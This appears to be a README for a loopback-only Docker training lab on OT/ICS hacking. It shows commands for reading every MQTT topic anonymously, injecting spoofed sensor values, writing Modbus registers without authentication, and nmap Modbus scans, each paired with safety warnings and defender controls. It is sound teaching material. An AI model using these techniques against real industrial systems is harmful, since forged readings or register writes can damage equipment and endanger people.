Skip to content

OT / ICS target range (Docker)

A turnkey, loopback-only range for Module 18 (IoT and OT Hacking) — two industrial protocols that ship with no authentication by design:

Service Port (host) Real-world port What it demonstrates
MQTT (eclipse-mosquitto) 127.0.0.1:1883 1883 (TLS 8883) Anonymous pub/sub — read and inject on every topic
Modbus/TCP (pymodbus sim) 127.0.0.1:5020 502 Unauthenticated register read (FC3) and write (FC6)

This is the same lesson as ../../modules/18-iot-and-ot-hacking/lab-walkthrough.md, but containerised so it comes up in one command instead of hand-installing mosquitto and pymodbus. Both clients ship inside the images, so you need nothing on the host but Docker.

⛔ OT SAFETY. Never point these tools at a real PLC/ICS/IoT device you do not own on an isolated bench. A stray Modbus write or aggressive scan can trip a safety system, damage equipment, or hurt people. Everything below targets your own loopback containers only.


Bring it up

docker compose -f labs/ot/docker-compose.yml up -d --build
docker compose -f labs/ot/docker-compose.yml ps

1. MQTT — pub/sub with no identity

Subscribe to every topic with the multi-level wildcard #, then inject a spoofed reading from a second client. Both run inside the broker image:

# terminal 1 — read everything on the bus (no credentials)
docker exec -it ceh-mqtt mosquitto_sub -t '#' -v

# terminal 2 — publish a legit value, then a forgery
docker exec ceh-mqtt mosquitto_pub -t 'plant/sensor/temp' -m '21.4'
docker exec ceh-mqtt mosquitto_pub -t 'plant/sensor/temp' -m 'spoofed'

You should see both messages appear in terminal 1 immediately:

plant/sensor/temp 21.4
plant/sensor/temp spoofed

Observe: one anonymous subscribe to # reads all traffic; any anonymous publish injects on any topic. No username, no password, no TLS.

Defender / PAM view: require broker auth + TLS (8883) and put the broker in an OT zone reachable only through a brokered jump host (IEC 62443 zones/conduits). Vault + rotate the broker credential (CyberArk CPM); no shared anonymous access. Flip mosquitto.conf to its commented "FIXED state" to watch the control work.

2. Modbus — read then WRITE with no auth

Read holding registers (FC3), write one (FC6), and confirm the change — all unauthenticated. The client runs inside the simulator image (pymodbus is already installed):

docker exec ceh-modbus python - <<'PY'
from pymodbus.client import ModbusTcpClient
c = ModbusTcpClient("127.0.0.1", port=5020); c.connect()
print("FC3 read :", c.read_holding_registers(0, 10).registers)
c.write_register(1, 42)                                 # FC6 write — no login
print("FC3 after:", c.read_holding_registers(0, 10).registers)
c.close()
PY

You should see register 1 change to 42 with no authentication step:

FC3 read : [0, 0, 0, 0, 0, 0, 0, 0, 0, 0]
FC3 after: [0, 42, 0, 0, 0, 0, 0, 0, 0, 0]

Observe: a plain write_register (FC6) altered process state. On a real PLC that same call could open a valve or stop a motor — which is why you only ever do this against a simulator.

Scan it like the exam expects (loopback only):

nmap -sV -p 5020 --script modbus-discover 127.0.0.1     # real PLCs: -p 502
nmap -p 1883,8883 -sV 127.0.0.1                          # MQTT fingerprint

Defender / PAM view: keep Modbus on an isolated, monitored segment; a protocol-aware firewall denies write function codes (FC5/6/15/16) from IT. Every engineer/vendor path into L0/L1 goes through a PSM/PSMP jump host in the IDMZ — JIT, MFA, approval, full session recording — never a flat, standing route to the plant floor.

What ties it together

Both "wins" exist because the protocol assumes a trusted, isolated network, so the defense is the network and the broker, not the protocol. Map each finding to the control in ../../defender-pam/ and place each component on the Purdue model (treat OT as crown-jewel Tier 0).

Tear down

docker compose -f labs/ot/docker-compose.yml down -v